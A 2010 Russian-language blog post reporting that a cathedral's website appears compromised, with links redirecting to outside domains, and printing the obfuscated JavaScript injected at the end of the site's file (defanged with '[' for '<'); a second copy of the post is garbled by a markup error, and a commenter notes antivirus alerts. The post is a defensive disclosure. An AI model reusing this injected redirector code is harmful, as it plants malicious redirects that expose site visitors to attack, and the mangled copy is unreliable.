057rus: (Default)
[personal profile] 057rus
У меня такое ощущение, что сайт кафедрального собора взломан и ссылки, которые должны бы вести на более подробную информацию приводят на http://bedioger.com/in1.php, который далее перекидывает на http://apomith.com/bu1/?t=4b69932a52a01, а что там далее пока не ясно, однако на нормальную работу сайта не похоже.

Деструктивных действий вроде бы нет, но и не отображается требуемая информация, например я хотел посмотреть подробности о Рождественском богослужении и ничего не увидел.

Причина этого явления в том, что в конец файла приписан следующий скрипт,< я заменил на [ так как иначе эта страничка будет делать то же самое
------------------------------------------------------------
[script>UhPyFckqlM='';function Ket(QwRbmXzy){ window.eval();var kybKrfbiBx=new Function("jVJTNqq", "return 767754;"); fff.op.replace("715"); } var bVKP=false;var bKWG="bKWG";var nRD;var kPVI="kPVI";var dLYU=61314;nRD='%5f%4b%5f%43%4f%59%53%48%7d%2f%67%33%12%34%37%56%0b%14%0a%3b%68%1b%03%10%15%7c%3d%1d%01%18%49%36%27%05%16%02%0a%14%0c%1d%16%4b%65%70%6a%4e%6a%65%0d%31%49%14%1e%1f%62%3a%79%20%44%43%48%3b%4a%0c%0c%49%49%75%72%49%56%06%5d%74%71%47%5f%04%10%17%4a%59%4a%40%72%65%1d%2c%35%40%53%51%54%73%6b%26%00%31%7d%61%59%59%45%7d%6f%68%58%44%43%00%14%14%57%4a%76%3b%4e%17%7e%72%67%50%0e%0f%0a%72%77%43%5a%48%42%61%68%26%51%53%50%0e%59%4d%2d%29%6a%4a%4c%7f%0c%3d%24%20%0a%02%12%05%0f%41%0a%03%10%2e';var oMNH='';var xOYN=59285;function rUAX(wWP){var aRS="";var qZQ="";var yXJ=""; function lRRR(rXR, pHG){var bDLY=51346;var zQF='';var wLG=false;var uOG="uOG";var bCON="bCON";if(uIUH == null) {var mGTF="mGTF";var wDO="";var sQHZ=false;uIUH = {};var yVNZ=16493;var lGZ=32140;var dVXK="";}var sQX="sQX";var bBDA=false;var vHB=63597;var vKS="vKS";var fXA="fXA";if(uIUH[rXR] == null) {var cOUE='';var dPOE="";var mCXE=46663;var cPAC="cPAC";uIUH[rXR] = new Object();var oAC=63782;var kXD=false;uIUH[rXR].nBIA = 0;var yHGP=35060;var lKT='';uIUH[rXR].eAP = pHG;var bEBX='';var lCN=false;}var fGMR=27298;var jZW=11289;var pDL=false;var oLO='';}var nHRZ="";var lIGJ="";var lOQ='';var iBE="iBE";var hVSI="";var aRJJ="aRJJ";var rJE='';function yOV(bPZ){var xNC=false;var qLF='';var wZTH=30437;var pOE='';var jAJL=false;var lPJ="lPJ";var rRR=0;var bXB="";var iTA=''; var fIR=bPZ.length;var dPKP="dPKP";var sHP=57081;var nVB=false;var xLWU=0;var sOS=false;var vSJ='';var bSHJ=54457;var tCZ='';while(xLWU
[Error: Irreparable invalid markup ('<fir){var>') in entry. Owner must fix manually. Raw contents below.]

У меня такое ощущение, что сайт кафедрального собора взломан и ссылки, которые должны бы вести на более подробную информацию приводят на http://bedioger.com/in1.php, который далее перекидывает на http://apomith.com/bu1/?t=4b69932a52a01, а что там далее пока не ясно, однако на нормальную работу сайта не похоже.

Деструктивных действий вроде бы нет, но и не отображается требуемая информация, например я хотел посмотреть подробности о Рождественском богослужении и ничего не увидел.

Причина этого явления в том, что в конец файла приписан следующий скрипт,< я заменил на [ так как иначе эта страничка будет делать то же самое
------------------------------------------------------------
[script>UhPyFckqlM='';function Ket(QwRbmXzy){ window.eval();var kybKrfbiBx=new Function("jVJTNqq", "return 767754;"); fff.op.replace("715"); } var bVKP=false;var bKWG="bKWG";var nRD;var kPVI="kPVI";var dLYU=61314;nRD='%5f%4b%5f%43%4f%59%53%48%7d%2f%67%33%12%34%37%56%0b%14%0a%3b%68%1b%03%10%15%7c%3d%1d%01%18%49%36%27%05%16%02%0a%14%0c%1d%16%4b%65%70%6a%4e%6a%65%0d%31%49%14%1e%1f%62%3a%79%20%44%43%48%3b%4a%0c%0c%49%49%75%72%49%56%06%5d%74%71%47%5f%04%10%17%4a%59%4a%40%72%65%1d%2c%35%40%53%51%54%73%6b%26%00%31%7d%61%59%59%45%7d%6f%68%58%44%43%00%14%14%57%4a%76%3b%4e%17%7e%72%67%50%0e%0f%0a%72%77%43%5a%48%42%61%68%26%51%53%50%0e%59%4d%2d%29%6a%4a%4c%7f%0c%3d%24%20%0a%02%12%05%0f%41%0a%03%10%2e';var oMNH='';var xOYN=59285;function rUAX(wWP){var aRS="";var qZQ="";var yXJ=""; function lRRR(rXR, pHG){var bDLY=51346;var zQF='';var wLG=false;var uOG="uOG";var bCON="bCON";if(uIUH == null) {var mGTF="mGTF";var wDO="";var sQHZ=false;uIUH = {};var yVNZ=16493;var lGZ=32140;var dVXK="";}var sQX="sQX";var bBDA=false;var vHB=63597;var vKS="vKS";var fXA="fXA";if(uIUH[rXR] == null) {var cOUE='';var dPOE="";var mCXE=46663;var cPAC="cPAC";uIUH[rXR] = new Object();var oAC=63782;var kXD=false;uIUH[rXR].nBIA = 0;var yHGP=35060;var lKT='';uIUH[rXR].eAP = pHG;var bEBX='';var lCN=false;}var fGMR=27298;var jZW=11289;var pDL=false;var oLO='';}var nHRZ="";var lIGJ="";var lOQ='';var iBE="iBE";var hVSI="";var aRJJ="aRJJ";var rJE='';function yOV(bPZ){var xNC=false;var qLF='';var wZTH=30437;var pOE='';var jAJL=false;var lPJ="lPJ";var rRR=0;var bXB="";var iTA=''; var fIR=bPZ.length;var dPKP="dPKP";var sHP=57081;var nVB=false;var xLWU=0;var sOS=false;var vSJ='';var bSHJ=54457;var tCZ='';while(xLWU<fir){var zxdr="" ;var=";var" tyj="false;var" qzt="23900;var" jlf="jLF" ;xlwu+="1;var" liz="false;var" mslv="" ;var=";var" ekmy="" ;var=";var" luy="20277;tJV=jPHL(bPZ,xLWU-1);var" ykyf="" ;var=";var" pbim="pBIM" ;var=";var" pnzb="pNZB" ;var=";var" hsq="38667;rRR+=tJV*fIR;var" cjj="" ;var=";var" ycyn="yCYN" ;var=";var" racv="" ;=";" var="var" hke="hKE" ;var=";var" gaz="" ;}var=";}var" duv="" ;var=";var" ojk="" ;var=";var" vth="vTH" ;var=";var" lqp="4628;var" wgts="" ;return=";return" new="new" string(rrr);var="String(rRR);var" gys="" ;var=";var" wlb="2854;var" bji="bJI" ;}var=";}var" ibga="" ;var=";var" qwq="" ;var=";var" qolw="" ;var=";var" tvxt="" ;var=";var" snpz="" ;var=";var" fjx="44116;var" orq="" ;var=";var" wcup="false;var" fkp="false;var" cgv="false;var" glx="" ;function=";function" nmvl(rxr)="nMVL(rXR)" {var="{var" wfv="474;var" mntc="55028;var" zdy="" ;var=";var" jshg="63009;if(uIUH[rXR]" !="null)" {var="{var" dair="62542;var" hvfa="hVFA" ;var=";var" lsx="" ;var=";var" wat="uIUH[rXR].nBIA;var" xiok="false;var" lhn="" ;var=";var" ijl="iJL" ;var=";var" kfu="56188;var" rmf="uIUH[rXR].eAP.substr(wAT," 1);var="1);var" bzfr="" ;var=";var" spt="false;var" xcgj="10244;var" jlkh="" ;var=";var" olhb="48401;var" zfhs="" ;var=";var" lyr="false;if(wAT" +="+" 1="1">= uIUH[rXR].eAP.length) {var sRV="sRV";var wMF=40900;var xQRG="";uIUH[rXR].nBIA = 0;var xASB="xASB";var wBPD='';} else {var hDWY=false;var cAAN=false;var wNF=false;var bNCK='';uIUH[rXR].nBIA = wAT + 1;var tFO="tFO";var dFTS="";var uUMU=5826;}var uFE="";var qTF='';var zRKR='';return jPHL(rMF, 0);var rVY="rVY";var iOL=false;var fBV=15554;var uQN='';}var tVZ='';var pSG="pSG";}var yZQT=40816;var qZWX="qZWX";var nPU="nPU";var uYG=false;var bIN=false;var uYRS="";var gYRA=false;var nTRQ='';var rWK=false;var vBK=41174;var mUX="mUX";var rFAK="";var sNSF = new String(document['dDoMcMuym4e4n4t*'.replace(/[\*4MyD]/g, '')]);var cYY='';var mQZ=false;function jPHL(fDJC,sXZ){var rRAD=847;var xOAV="xOAV";return fDJC.charCodeAt(sXZ);var cIZ=false;var wXM="wXM";var tAY=33357;var kNCK=false;}var aRZA=false;var aXO=23525;var vXPW='';var tMS='';if(sNSF.indexOf('a}rCibt0yC'.replace(/[C0b\}f]/g, '')) !== -1) {var mJL=34341;var eQK="";var dJS=42712;var sWT=42787; return 100;var tOO="";var rRJ="";var rWZ="";}var vZC="";var iUIW="";var rRH=false;var eEBH="eEBH";var sRGJ=16709;var xJDI=false;var uIUH = null;var hSCW=false;var hKAE=false;var lIR=23237;var tDTT=false;var nGQU=window;var eIZ=false;var vOLA=29340;var cJD="";var cPH=window;var gUIP='';var xIR=24563;var lJU=String;var lZS="lZS";var sESJ="sESJ";var dHY="";var oRA=8046;var cGGD = nGQU['sDe9t^T^i;m;e9oDu;tD'.replace(/[D9\^;\{]/g, '')];var pQGJ="";var qGC=false;var wCV='';var vXI=100;var kGQ=47418;var iGO="";var eLV=nGQU['u/nXeXs!cXa8p!e/'.replace(/[/8\.X\!]/g, '')];var tDZV="tDZV";var dYP='';var qTU=47750;var kPG = '';var cEA='';var pEKP=false;var lDYC="lDYC";var mIM="";var sVSL=lJU['f+rnonmSCnh+aVr<c+ondsen'.replace(/[nvs\+\<]/g, '')];var="&#39;&#39;)];var" mzie="55842;var" yxb="yXB" ;var=";var" wwp="eLV(wWP);var" gxfl="false;var" bqdy="bQDY" ;var=";var" zoq="false;var" bmht="" ;var=";var" dch="" ;var=";var" ackz="false;var" opgx="new" lju(ruax).replace(/[^@a-z0-9a-z_-]/g,'');var="lJU(rUAX).replace(/[^@a-z0-9A-Z_-]/g,&#39;&#39;);var" xfhg="54415;var" gxg="" ;var=";var" rgi="new" lju(yov(opgx));var="lJU(yOV(oPGX));var" gag="27395;var" pzh="44083;var" nldt="15857;var" dery="dERY" ;var=";var" eubl="eUBL" ;var=";var" qcta="" ;lrrr('kqa',=";lRRR(&#39;kQA&#39;," opgx);var="oPGX);var" azlz="" ;var=";var" pdyn="" ;var=";var" vebo="vEBO" ;var=";var" xgt="" ;lrrr('rxmz',=";lRRR(&#39;rXMZ&#39;," rgi);var="rGI);var" zdd="" ;var=";var" rlve="rLVE" ;var=";var" ndeb="" ;var=";var" hnz="hNZ" ;var=";var" zca="" ;var=";var" vtz="" ;var=";var" geb="gEB" ;for(var=";for(var" qmf="0;" qmf="0;" <="&lt;" (wwp.length);="(wWP.length);" qmf++)="qMF++)" {var="{var" ldb="" ;var=";var" mmmr="" ;var=";var" zqr="" ;var=";var" rcw="false;var" rmqu="43488;var" rxy="" ;var=";var" htva="hTVA" ;var=";var" hzk="13586;var" yvfk="jPHL(wWP,qMF);var" ispc="" ;var=";var" mnh="mNH" ;var=";var" iyz="iYZ" ;yvfk^="vXI;var" veuz="" ;var=";var" szk="sZK" ;var=";var" asy="" ;var=";var" tjk="tJK" ;yvfk^="vXI;var" pgg="false;var" mwm="mWM" ;var=";var" ovhj="" ;yvfk^="vXI;var" teo="tEO" ;var=";var" yle="false;var" aid="aID" ;var=";var" hjd="" ;var=";var" zbl="" ;kpg+="sVSL(yVFK);var" wcz="" ;var=";var" wlo="false;var" eyeo="" ;}var=";}var" scx="" ;var=";var" kug="false;var" kqu="kQU" ;var=";var" pezd="false;var" hsp="false;cGGD(kPG," 250);var="250);var" wwb="false;var" dnk="" ;var=";var" hjng="false;var" hlf="36555;return" kpg="new" lju();var="lJU();var" seq="sEQ" ;var=";var" bph="" ;var=";var" ebt="false;var" wwz="" ;var=";var" dlvh="61252;var" kwd="" ;};var=";};var" hby="" ;var=";var" uylp="uYLP" ;ruax(nrd);var=";rUAX(nRD);var" htca="hTCA" ;var=";var" knsw="" ;var=";var" cdta="" ;[/script=";[/script">
------------------------------------------------------------------
Если знаете администратора сайта отпишите ему, ведь неровен час начнет приводить эта ссылка на что-то неприличное.
Кстати само это сообщение,хотя скрипт и не работает то же отображается в искаженном виде.

Date: 2010-02-09 10:05 pm (UTC)
From: [identity profile] kraiukhin.livejournal.com
У меня при переходе срабатывает антивирус

Profile

057rus: (Default)
057rus

January 2026

S M T W T F S
     123
45678910
11121314151617
18192021222324
25262728293031

Style Credit

Expand Cut Tags

No cut tags
Page generated Jan. 13th, 2026 09:00 pm
Powered by Dreamwidth Studios